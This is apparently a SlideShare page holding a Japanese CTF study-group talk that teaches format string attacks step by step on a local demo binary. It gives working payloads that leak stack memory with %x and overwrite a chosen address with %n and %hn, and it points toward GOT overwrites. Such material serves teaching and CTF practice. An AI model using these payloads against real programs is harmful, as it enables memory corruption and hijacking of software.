SlideShare ist ein Scribd-Unternehmen logo
1 von 61
Format string Attack
'14 7.27 CTF勉強会@UEC
こんにちは
Who am I
自己紹介
● @icchyr
● 某濃厚な大学のB2
● CTF初心者
● tuat_mcc
人前でLTをするのは初
何を話すか
● CTF初心者
– ちょうど1年くらい?
何を話すか
● CTF初心者
– ちょうど1年くらい?
– 去年のSECCONが初めてのCTF
● 「SQLインジェクションって何」
● 「XSSって何」
Format string Attack
Format string Attack
● つよそう
● フォーマット文字列攻撃
– printf(“%s”, hoge);
– %d, %x, %sなど
Format string Attack
scanf(“%s”, hoge);
printf(hoge);
Format string Attack
scanf(“%s”, hoge);
printf(hoge);
● 危険
Format string Attack
scanf(“%s”, hoge);
printf(hoge);
● 危険
● 受け取った文字列をそのまま出力している
Format string Attack
scanf(“%s”, hoge);
printf(hoge);
● ./a.out AAAA%08x
Format string Attack
scanf(“%s”, hoge);
printf(hoge);
● ./a.out AAAA%08x
– AAAAf7ff7000(適当な値)
Format string Attack
scanf(“%s”, hoge);
printf(hoge);
● ./a.out AAAA%08x
– AAAAf7ff7000(適当な値)
● ./a.out $(perl -e “print 'AAAA'.',%08x'x10”)
– AAAA,f7ff7000,f7dd5ab0,f7b01040,f7ff7000,0
0000001,ffffdfe8,f7ff9cd8,41414141,30252c78
,2c783830
Format string Attack
scanf(“%s”, hoge);
printf(hoge);
● ./a.out AAAA%08x
– AAAAf7ff7000(適当な値)
● ./a.out $(perl -e “print 'AAAA'.',%08x'x10”)
– AAAA,f7ff7000,f7dd5ab0,f7b01040,f7ff7000,0
0000001,ffffdfe8,f7ff9cd8,41414141,30252c78
,2c783830
Format string Attack
scanf(“%s”, hoge);
printf(hoge);
● ./a.out AAAA%08x
– AAAAf7ff7000(適当な値)
● ./a.out $(perl -e “print 'AAAA'.',%08x'x10”)
– AAAA,f7ff7000,f7dd5ab0,f7b01040,f7ff7000,0
0000001,ffffdfe8,f7ff9cd8,41414141,30252c78
,2c783830 AAAA
Format string Attack
● %08xを手で打つのはめんどくさい
– ./a.out $(printf “AAAA”),%08x,%08x,...
Format string Attack
● %08xを手で打つのはめんどくさい
– %10$08x
Format string Attack
● %08xを手で打つのはめんどくさい
– %10$08x
● 10番目の引数を参照する
Format string Attack
● %08xを手で打つのはめんどくさい
– %10$08x
● 10番目の引数を参照する
(実際には$をエスケープする)
Format string Attack
● %08xを手で打つのはめんどくさい
– %10$08x
● 10番目の引数を参照する
● ./a.out $(printf “AAAA”),%8$08x
– AAAA,41414141
Format string Attack
● %08xを手で打つのはめんどくさい
– %10$08x
● 10番目の引数を参照する
●
./a.out $(printf “print 'AAAA”),%8$08x
– AAAA,41414141
●
/a.out
$(printf “print 'AAABBBBB”),%8$08x%9$08x
– AAAA,4241414142424242
● リトルエンディアン・アドレスが続いている
Format string Attack
● ./a.out
$(printf “xddxccxbbxaa”),%8$08x
Format string Attack
● ./a.out
$(printf “xddxccxbbxaa”),%8$08x
– 0xaabbccddのアドレスの中を見られる
Format string Attack
● ./a.out
$(printf “xddxccxbbxaa”),%8$08x
– 0xaabbccddのアドレスの中を見られる
– 実際は微調整が必要(実行ファイル名の長
さ)
Format string Attack
● %nというフォーマット文字列がある
Format string Attack
● %nというフォーマット文字列がある
– いままで出力したバイト数を引数に書き込
む
Format string Attack
● %nというフォーマット文字列がある
– いままで出力したバイト数を引数に書き込
む
– これを用いれば任意のアドレスの内容を書
き換えられるのでは
Format string Attack
Format string Attack
● まずは出力した文字が格納される位置を調べ
る
– ./a.out $(perl -e “print 'AAAA'.',%08x'x20)
– AAAA,ffffd313,6474e552,f7fe565d,f7e25baf,f7f
dc5dc,00001e3c,ffffd164,ffffcf0c,00000000,0000
0001,41414141,3830252c,30252c78,252c7838
,2c783830,78383025,3830252c,30252c78,252
c7838,2c783830
val'splace 0x804a02c :0
Format string Attack
● まずは出力した文字が格納される位置を調べ
る
– ./a.out $(perl -e “print 'AAAA'.',%08x'x20)
– AAAA,ffffd313,6474e552,f7fe565d,f7e25baf,f7f
dc5dc,00001e3c,ffffd164,ffffcf0c,00000000,0000
0001,41414141,3830252c,30252c78,252c7838
,2c783830,78383025,3830252c,30252c78,252
c7838,2c783830
val'splace 0x804a02c :0
Format string Attack
● まずは出力した文字が格納される位置を調べる
– ./a.out $(perl -e “print 'AAAA'.',%08x'x20)
– AAAA,ffffd313,6474e552,f7fe565d,f7e25baf,f7fdc5dc,0
0001e3c,ffffd164,ffffcf0c,00000000,00000001,414141
41,3830252c,30252c78,252c7838,2c783830,7838302
5,3830252c,30252c78,252c7838,2c783830
val'splace 0x804a02c :0
– 11番目
Format string Attack
● ./a.out $(printf “AAAA”),%11$08x
Format string Attack
● ./a.out $(printf “AAAA”),%11$08x
– AAAA,41414141
val'splace 0x804a02c :0
Format string Attack
● ./a.out $(printf “AAAA”),%11$08x
– AAAA,41414141
val'splace 0x804a02c :0
● ./a.out
$(printf “x2cxa0x04x08”),%11$n
Format string Attack
●
./a.out $(printf “AAAA”),%11$08x
– AAAA,41414141
val'splace 0x804a02c :0
●
./a.out
$(printf “x2cxa0x04x08”),%11$n
– , ,�
val'splace 0x804a02c :5
succeeded!!!
Format string Attack
●
./a.out $(printf “AAAA”),%11$08x
– AAAA,41414141
val'splace 0x804a02c :0
●
./a.out
$(printf “x2cxa0x04x08”),%11$n
– , ,�
val'splace 0x804a02c :5
succeeded!!!
– 書き換えに成功している
– (x2cxa0x04x08,の5文字->5)
Format string Attack
● ./a.out
$(printf “x2cxa0x04x08”)
,%100x%11$08x
Format string Attack
● ./a.out
$(printf “x2cxa0x04x08”)
,%100x%11$08x
– , ,�
ffffd36c
val'splace 0x804a02c :105
succeeded!!!
Format string Attack
● ./a.out
$(printf “x2cxa0x04x08”)
,%100x%11$08x
– , ,�
ffffd36c
val'splace 0x804a02c :105
succeeded!!!
– 出力するバイト数を調節することで任意の値にで
きる
Format string Attack
● 自由な値に書き換えたい
– 0x804a02cの中身を0x40404040にしたいとする
Format string Attack
● 自由な値に書き換えたい
– 0x804a02cの中身を0x40404040にしたいとする
– 0x40404040-0x5バイト出力するのは現実的では
ない
Format string Attack
● 自由な値に書き換えたい
– 0x804a02cの中身を0x40404040にしたいとする
– 0x40404040-0x5バイト出力するのは現実的では
ない
● メモリの構造を利用する
Format string Attack
● 0x804a02dに5を書き込むとどうなるか
● ./a.out
$(printf “x2dxa0x04x08”)
,%11$08x
Format string Attack
● 0x804a02dに5を書き込むとどうなるか
● ./a.out
$(printf “x2dxa0x04x08”)
,%11$08x
– - ,�
val'splace 0x804a02c : 1280
succeeded!!!
Format string Attack
● 0x804a02dに5を書き込むとどうなるか
● ./a.out
$(printf “x2dxa0x04x08”)
,%11$08x
– - ,�
val'splace 0x804a02c : 1280
succeeded!!!
– 1280(0x0500)
– 桁位置を指定することができる
Format string Attack
● ただし%nは8バイト書きこむので上位ビット
が潰れてしまう
Format string Attack
● ただし%nは8バイト書きこむので上位ビット
が潰れてしまう
– %hn(ニブル)を使う
– 2バイト分書きこむ
Format string Attack
● 0x804a02cの中身を0x40404040にしたいと
する
– ./a.out $(printf “x2cxa0x04x08”),%59x
%11$hn
Format string Attack
● 0x804a02cの中身を0x40404040にしたいと
する
– ./a.out $(printf “x2cxa0x04x08”),%59x
%11$hn
→0x804a02c:0x40
Format string Attack
● 0x804a02cの中身を0x40404040にしたいと
する
– ./a.out $(printf “x2cxa0x04x08”),%59x
%11$hn
→0x804a02c:0x40
– ./a.out $(printf
“x2cxa0x04x08x2dxa0x04x08”),%55x
%11$hn%64%12$hn
Format string Attack
● 0x804a02cの中身を0x40404040にしたいと
する
– ./a.out $(printf “x2cxa0x04x08”),%59x
%11$hn
→0x804a02c:0x40
– ./a.out $(printf
“x2cxa0x04x08x2dxa0x04x08”),%55x
%11$hn%64%12$hn
→0x804a02c:0x4040
Format string Attack
● 0x804a02cの中身を0x40404040にしたいと
する
– ./a.out $(printf “x2cxa0x04x08”),%59x
%11$hn
→0x804a02c:0x40
– ./a.out $(printf
“x2cxa0x04x08x2dxa0x04x08”),%55x
%11$hn%64%12$hn
59-4
Format string Attack
● 0x804a02cの中身を0x40404040にしたいとする
– ./a.out
– $(printf
"x2cxa0x04x08x2dxa0x04x08x2exa0x04x08x
2fxa0x04x08"),%47x%11$hn%12$hn%13$hn
%14$hn
– , - . / , ffffd34e� � � �
val'splace 0x804a02c : 1077952576(0x40404040)
succeeded!!!
Format string Attack
● 0x804a02cの中身を0x40404040にしたいとする
– ./a.out
– $(printf
"x2cxa0x04x08x2dxa0x04x08x2exa0x04x08x
2fxa0x04x08"),%47x%11$hn%12$hn%13$hn
%14$hn
– , - . / , ffffd34e� � � �
val'splace 0x804a02c : 1077952576(0x40404040)
succeeded!!!
Format string Attack
● 0x40414243を書きこみたい場合など
– 0x43,0x42,0x41,0x40の順に書き込みたい
Format string Attack
● 0x40414243を書きこみたい場合など
– 0x43,0x42,0x41,0x40の順に書き込みたい
● %255x(0xff)出力する({現在の値}-1になる)
– うまく計算する必要がある
Format string Attack
● 書き換え可能なアドレスを操ることができる
– すごい
– 実際には呼び出される関数のアドレスに任意の値
を代入して予期せぬ動作を起こさせる
– GOT(global offset table)の書き換えなど
ありがとうございました

Weitere ähnliche Inhalte

Was ist angesagt?

RSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjpRSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjpsonickun
 
CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)Shota Shinogi
 
目grep入門 +解説
目grep入門 +解説目grep入門 +解説
目grep入門 +解説murachue
 
Pythonによる黒魔術入門
Pythonによる黒魔術入門Pythonによる黒魔術入門
Pythonによる黒魔術入門大樹 小倉
 
Apache Arrow - データ処理ツールの次世代プラットフォーム
Apache Arrow - データ処理ツールの次世代プラットフォームApache Arrow - データ処理ツールの次世代プラットフォーム
Apache Arrow - データ処理ツールの次世代プラットフォームKouhei Sutou
 
メタプログラミングって何だろう
メタプログラミングって何だろうメタプログラミングって何だろう
メタプログラミングって何だろうKota Mizushima
 
エンジニアの個人ブランディングと技術組織
エンジニアの個人ブランディングと技術組織エンジニアの個人ブランディングと技術組織
エンジニアの個人ブランディングと技術組織Takafumi ONAKA
 
[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹
[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹
[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹CODE BLUE
 
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方kwatch
 
DockerコンテナでGitを使う
DockerコンテナでGitを使うDockerコンテナでGitを使う
DockerコンテナでGitを使うKazuhiro Suga
 
できる!並列・並行プログラミング
できる!並列・並行プログラミングできる!並列・並行プログラミング
できる!並列・並行プログラミングPreferred Networks
 
PenTesterが知っている危ないAWS環境の共通点
PenTesterが知っている危ないAWS環境の共通点 PenTesterが知っている危ないAWS環境の共通点
PenTesterが知っている危ないAWS環境の共通点 zaki4649
 
Ctfのためのpython入門
Ctfのためのpython入門Ctfのためのpython入門
Ctfのためのpython入門shiracamus
 
CTF for ビギナーズ バイナリ講習資料
CTF for ビギナーズ バイナリ講習資料CTF for ビギナーズ バイナリ講習資料
CTF for ビギナーズ バイナリ講習資料SECCON Beginners
 
とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達zaki4649
 
例外設計における大罪
例外設計における大罪例外設計における大罪
例外設計における大罪Takuto Wada
 
katagaitai CTF勉強会 #5 Crypto
katagaitai CTF勉強会 #5 Cryptokatagaitai CTF勉強会 #5 Crypto
katagaitai CTF勉強会 #5 Cryptotrmr
 
Dockerfile を書くためのベストプラクティス解説編
Dockerfile を書くためのベストプラクティス解説編Dockerfile を書くためのベストプラクティス解説編
Dockerfile を書くためのベストプラクティス解説編Masahito Zembutsu
 

Was ist angesagt? (20)

RSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjpRSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjp
 
CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)
 
目grep入門 +解説
目grep入門 +解説目grep入門 +解説
目grep入門 +解説
 
Pythonによる黒魔術入門
Pythonによる黒魔術入門Pythonによる黒魔術入門
Pythonによる黒魔術入門
 
Apache Arrow - データ処理ツールの次世代プラットフォーム
Apache Arrow - データ処理ツールの次世代プラットフォームApache Arrow - データ処理ツールの次世代プラットフォーム
Apache Arrow - データ処理ツールの次世代プラットフォーム
 
ヤフー社内でやってるMySQLチューニングセミナー大公開
ヤフー社内でやってるMySQLチューニングセミナー大公開ヤフー社内でやってるMySQLチューニングセミナー大公開
ヤフー社内でやってるMySQLチューニングセミナー大公開
 
メタプログラミングって何だろう
メタプログラミングって何だろうメタプログラミングって何だろう
メタプログラミングって何だろう
 
エンジニアの個人ブランディングと技術組織
エンジニアの個人ブランディングと技術組織エンジニアの個人ブランディングと技術組織
エンジニアの個人ブランディングと技術組織
 
[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹
[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹
[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹
 
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方
 
DockerコンテナでGitを使う
DockerコンテナでGitを使うDockerコンテナでGitを使う
DockerコンテナでGitを使う
 
できる!並列・並行プログラミング
できる!並列・並行プログラミングできる!並列・並行プログラミング
できる!並列・並行プログラミング
 
PenTesterが知っている危ないAWS環境の共通点
PenTesterが知っている危ないAWS環境の共通点 PenTesterが知っている危ないAWS環境の共通点
PenTesterが知っている危ないAWS環境の共通点
 
Ctfのためのpython入門
Ctfのためのpython入門Ctfのためのpython入門
Ctfのためのpython入門
 
CTF for ビギナーズ バイナリ講習資料
CTF for ビギナーズ バイナリ講習資料CTF for ビギナーズ バイナリ講習資料
CTF for ビギナーズ バイナリ講習資料
 
とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達
 
例外設計における大罪
例外設計における大罪例外設計における大罪
例外設計における大罪
 
明日使えないすごいビット演算
明日使えないすごいビット演算明日使えないすごいビット演算
明日使えないすごいビット演算
 
katagaitai CTF勉強会 #5 Crypto
katagaitai CTF勉強会 #5 Cryptokatagaitai CTF勉強会 #5 Crypto
katagaitai CTF勉強会 #5 Crypto
 
Dockerfile を書くためのベストプラクティス解説編
Dockerfile を書くためのベストプラクティス解説編Dockerfile を書くためのベストプラクティス解説編
Dockerfile を書くためのベストプラクティス解説編
 

Andere mochten auch

Format string vunerability
Format string vunerabilityFormat string vunerability
Format string vunerabilitynuc13us
 
シェル芸初心者によるシェル芸入門 (修正版)
シェル芸初心者によるシェル芸入門 (修正版)シェル芸初心者によるシェル芸入門 (修正版)
シェル芸初心者によるシェル芸入門 (修正版)icchy
 
WinDbg Primer
WinDbg PrimerWinDbg Primer
WinDbg Primerinaz2
 
[MOSUT] Format String Attacks
[MOSUT] Format String Attacks[MOSUT] Format String Attacks
[MOSUT] Format String AttacksAj MaChInE
 
Summary of "Hacking", 0x351-0x354
Summary of "Hacking", 0x351-0x354Summary of "Hacking", 0x351-0x354
Summary of "Hacking", 0x351-0x354Taku Miyakawa
 
Buffer overflow attacks
Buffer overflow attacksBuffer overflow attacks
Buffer overflow attacksKapil Nagrale
 
Trend Micro CTF Asia Pacific & Japan -defensive100-
Trend Micro CTF Asia Pacific & Japan -defensive100-Trend Micro CTF Asia Pacific & Japan -defensive100-
Trend Micro CTF Asia Pacific & Japan -defensive100-boropon
 
CTF初心者🔰
CTF初心者🔰CTF初心者🔰
CTF初心者🔰icchy
 
Buffer overflow attacks
Buffer overflow attacksBuffer overflow attacks
Buffer overflow attacksJoe McCarthy
 
プログラミングコンテストでのデータ構造
プログラミングコンテストでのデータ構造プログラミングコンテストでのデータ構造
プログラミングコンテストでのデータ構造Takuya Akiba
 

Andere mochten auch (11)

Format string vunerability
Format string vunerabilityFormat string vunerability
Format string vunerability
 
CTFを楽しむやで
CTFを楽しむやでCTFを楽しむやで
CTFを楽しむやで
 
シェル芸初心者によるシェル芸入門 (修正版)
シェル芸初心者によるシェル芸入門 (修正版)シェル芸初心者によるシェル芸入門 (修正版)
シェル芸初心者によるシェル芸入門 (修正版)
 
WinDbg Primer
WinDbg PrimerWinDbg Primer
WinDbg Primer
 
[MOSUT] Format String Attacks
[MOSUT] Format String Attacks[MOSUT] Format String Attacks
[MOSUT] Format String Attacks
 
Summary of "Hacking", 0x351-0x354
Summary of "Hacking", 0x351-0x354Summary of "Hacking", 0x351-0x354
Summary of "Hacking", 0x351-0x354
 
Buffer overflow attacks
Buffer overflow attacksBuffer overflow attacks
Buffer overflow attacks
 
Trend Micro CTF Asia Pacific & Japan -defensive100-
Trend Micro CTF Asia Pacific & Japan -defensive100-Trend Micro CTF Asia Pacific & Japan -defensive100-
Trend Micro CTF Asia Pacific & Japan -defensive100-
 
CTF初心者🔰
CTF初心者🔰CTF初心者🔰
CTF初心者🔰
 
Buffer overflow attacks
Buffer overflow attacksBuffer overflow attacks
Buffer overflow attacks
 
プログラミングコンテストでのデータ構造
プログラミングコンテストでのデータ構造プログラミングコンテストでのデータ構造
プログラミングコンテストでのデータ構造
 

Kürzlich hochgeladen

Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)Hiroshi Tomioka
 
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Gamesatsushi061452
 
新人研修 後半 2024/04/26の勉強会で発表されたものです。
新人研修 後半        2024/04/26の勉強会で発表されたものです。新人研修 後半        2024/04/26の勉強会で発表されたものです。
新人研修 後半 2024/04/26の勉強会で発表されたものです。iPride Co., Ltd.
 
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。iPride Co., Ltd.
 
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)Hiroshi Tomioka
 
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...Toru Tamaki
 
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。iPride Co., Ltd.
 
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
論文紹介:Selective Structured State-Spaces for Long-Form Video UnderstandingToru Tamaki
 
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)NTT DATA Technology & Innovation
 
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアルLoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアルCRI Japan, Inc.
 
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
LoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイスLoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイス
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイスCRI Japan, Inc.
 

Kürzlich hochgeladen (11)

Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
 
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
 
新人研修 後半 2024/04/26の勉強会で発表されたものです。
新人研修 後半        2024/04/26の勉強会で発表されたものです。新人研修 後半        2024/04/26の勉強会で発表されたものです。
新人研修 後半 2024/04/26の勉強会で発表されたものです。
 
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
 
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
 
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
 
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
 
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
 
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
 
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアルLoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
 
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
LoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイスLoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイス
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
 

Format string Attack

  • 1. Format string Attack '14 7.27 CTF勉強会@UEC
  • 4.
  • 8. 何を話すか ● CTF初心者 – ちょうど1年くらい? – 去年のSECCONが初めてのCTF ● 「SQLインジェクションって何」 ● 「XSSって何」
  • 10. Format string Attack ● つよそう ● フォーマット文字列攻撃 – printf(“%s”, hoge); – %d, %x, %sなど
  • 11. Format string Attack scanf(“%s”, hoge); printf(hoge);
  • 12. Format string Attack scanf(“%s”, hoge); printf(hoge); ● 危険
  • 13. Format string Attack scanf(“%s”, hoge); printf(hoge); ● 危険 ● 受け取った文字列をそのまま出力している
  • 14. Format string Attack scanf(“%s”, hoge); printf(hoge); ● ./a.out AAAA%08x
  • 15. Format string Attack scanf(“%s”, hoge); printf(hoge); ● ./a.out AAAA%08x – AAAAf7ff7000(適当な値)
  • 16. Format string Attack scanf(“%s”, hoge); printf(hoge); ● ./a.out AAAA%08x – AAAAf7ff7000(適当な値) ● ./a.out $(perl -e “print 'AAAA'.',%08x'x10”) – AAAA,f7ff7000,f7dd5ab0,f7b01040,f7ff7000,0 0000001,ffffdfe8,f7ff9cd8,41414141,30252c78 ,2c783830
  • 17. Format string Attack scanf(“%s”, hoge); printf(hoge); ● ./a.out AAAA%08x – AAAAf7ff7000(適当な値) ● ./a.out $(perl -e “print 'AAAA'.',%08x'x10”) – AAAA,f7ff7000,f7dd5ab0,f7b01040,f7ff7000,0 0000001,ffffdfe8,f7ff9cd8,41414141,30252c78 ,2c783830
  • 18. Format string Attack scanf(“%s”, hoge); printf(hoge); ● ./a.out AAAA%08x – AAAAf7ff7000(適当な値) ● ./a.out $(perl -e “print 'AAAA'.',%08x'x10”) – AAAA,f7ff7000,f7dd5ab0,f7b01040,f7ff7000,0 0000001,ffffdfe8,f7ff9cd8,41414141,30252c78 ,2c783830 AAAA
  • 19. Format string Attack ● %08xを手で打つのはめんどくさい – ./a.out $(printf “AAAA”),%08x,%08x,...
  • 20. Format string Attack ● %08xを手で打つのはめんどくさい – %10$08x
  • 21. Format string Attack ● %08xを手で打つのはめんどくさい – %10$08x ● 10番目の引数を参照する
  • 22. Format string Attack ● %08xを手で打つのはめんどくさい – %10$08x ● 10番目の引数を参照する (実際には$をエスケープする)
  • 23. Format string Attack ● %08xを手で打つのはめんどくさい – %10$08x ● 10番目の引数を参照する ● ./a.out $(printf “AAAA”),%8$08x – AAAA,41414141
  • 24. Format string Attack ● %08xを手で打つのはめんどくさい – %10$08x ● 10番目の引数を参照する ● ./a.out $(printf “print 'AAAA”),%8$08x – AAAA,41414141 ● /a.out $(printf “print 'AAABBBBB”),%8$08x%9$08x – AAAA,4241414142424242 ● リトルエンディアン・アドレスが続いている
  • 25. Format string Attack ● ./a.out $(printf “xddxccxbbxaa”),%8$08x
  • 26. Format string Attack ● ./a.out $(printf “xddxccxbbxaa”),%8$08x – 0xaabbccddのアドレスの中を見られる
  • 27. Format string Attack ● ./a.out $(printf “xddxccxbbxaa”),%8$08x – 0xaabbccddのアドレスの中を見られる – 実際は微調整が必要(実行ファイル名の長 さ)
  • 28. Format string Attack ● %nというフォーマット文字列がある
  • 29. Format string Attack ● %nというフォーマット文字列がある – いままで出力したバイト数を引数に書き込 む
  • 30. Format string Attack ● %nというフォーマット文字列がある – いままで出力したバイト数を引数に書き込 む – これを用いれば任意のアドレスの内容を書 き換えられるのでは
  • 32. Format string Attack ● まずは出力した文字が格納される位置を調べ る – ./a.out $(perl -e “print 'AAAA'.',%08x'x20) – AAAA,ffffd313,6474e552,f7fe565d,f7e25baf,f7f dc5dc,00001e3c,ffffd164,ffffcf0c,00000000,0000 0001,41414141,3830252c,30252c78,252c7838 ,2c783830,78383025,3830252c,30252c78,252 c7838,2c783830 val'splace 0x804a02c :0
  • 33. Format string Attack ● まずは出力した文字が格納される位置を調べ る – ./a.out $(perl -e “print 'AAAA'.',%08x'x20) – AAAA,ffffd313,6474e552,f7fe565d,f7e25baf,f7f dc5dc,00001e3c,ffffd164,ffffcf0c,00000000,0000 0001,41414141,3830252c,30252c78,252c7838 ,2c783830,78383025,3830252c,30252c78,252 c7838,2c783830 val'splace 0x804a02c :0
